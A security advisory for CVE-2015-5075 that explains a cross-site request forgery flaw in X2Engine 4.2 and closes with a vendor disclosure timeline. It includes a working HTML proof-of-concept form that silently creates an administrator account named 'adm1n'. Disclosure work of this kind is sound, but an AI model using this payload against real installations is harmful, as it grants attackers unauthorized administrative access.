X2Engine 4.2 - Cross-Site Request Forgery







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Source: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-5075/

It was discovered that no protection against Cross-site Request Forgery attacks was implemented, resulting in an attacker being able to able to force the creation of a new administrative account.

Cross-site Request Forgery exploits the way in which HTTP and web browsers work.

Due to the fact that HTTP is a stateless protocol, and that web browsers will include all relevant cookies for the domain that a request is for, if an administrator user was logged into the application and the attacker sent a link that the administrator duly followed (or the attacker tricked them into following a link on a page), the administrator’s browser would include all cookies (including the session cookies) in the request. The attacker’s link would then be executed with administrator privileges.

This attack is not limited to sending malicious URLs to users; multiple different attack vectors exist to perform this attack in a more covert manner, such as embedding the attack within an invisible iFrame on a different page. Using the iFrame method it is also possible to submit both GET and POST requests.

For example:

  <!-- CSRF PoC - generated by Burp Suite Professional -->
    <form action="http://localhost/x2engine/index.php/users/create" method="POST">
      <input type="hidden" name="User&#91;firstName&#93;" value="John" />
      <input type="hidden" name="User&#91;lastName&#93;" value="Smith" />
      <input type="hidden" name="User&#91;username&#93;" value="adm1n" />
      <input type="hidden" name="User&#91;password&#93;" value="letmein" />
      <input type="hidden" name="User&#91;userKey&#93;" value="" />
      <input type="hidden" name="User&#91;title&#93;" value="" />
      <input type="hidden" name="User&#91;department&#93;" value="" />
      <input type="hidden" name="User&#91;officePhone&#93;" value="" />
      <input type="hidden" name="User&#91;cellPhone&#93;" value="" />
      <input type="hidden" name="User&#91;homePhone&#93;" value="" />
      <input type="hidden" name="User&#91;address&#93;" value="" />
      <input type="hidden" name="User&#91;backgroundInfo&#93;" value="" />
      <input type="hidden" name="User&#91;emailAddress&#93;" value="" />
      <input type="hidden" name="User&#91;status&#93;" value="1" />
      <input type="hidden" name="yt0" value="Create" />
      <input type="submit" value="Submit request" />

Exploit code is not required.

The vendor has released a patch.

Vendor status:
15/09/2014	Submitted initial contact via web form on X2Engine’s page
30/09/2014	Second initial contact message sent via web form
08/12/2014	Final chaser sent via their web form
20/01/2015	Automated response from the X2 website received on 08/12/2014. Attempting to contact the email address that it was sent from “john@x2engine.com”. If no response by the end of the week will start forced disclosure process
21/01/2015	Initial vendor response, details over vulnerability sent
26/02/2015	Chaser sent to vendor
17/04/2015	Second chaser sent to vendor
08/06/2015	Chaser sent to vendor. Unsure if his emails are getting through to us as he stated that he has been replying
08/06/2015	Vendor responded stating that they needed vuln details even though I had sent them months ago
09/06/2015	Vendor is approximately 75% through fix and will have a patch out within the next few weeks
26/06/2015	MITRE assigned CVE-2015-5075
13/07/2015	Vendor asked for CVEs to add to their page. Should be ready for publish soon when they have given their clients time to patch
22/07/2015	Email from vendor stating that they released the fix for this on 13/07/2015 and asked when we would be disclosing
23/07/2015	Vendor has asked if we wait off until they release their next major update (At some point in the next 2 weeks). Confirmed this is fine and to contact us when they have a release date confirmed for it
24/08/2015	Replied to the vendor
26/08/2015	Vendor confirmed that they are ready for us to publish
18/09/2015	Published

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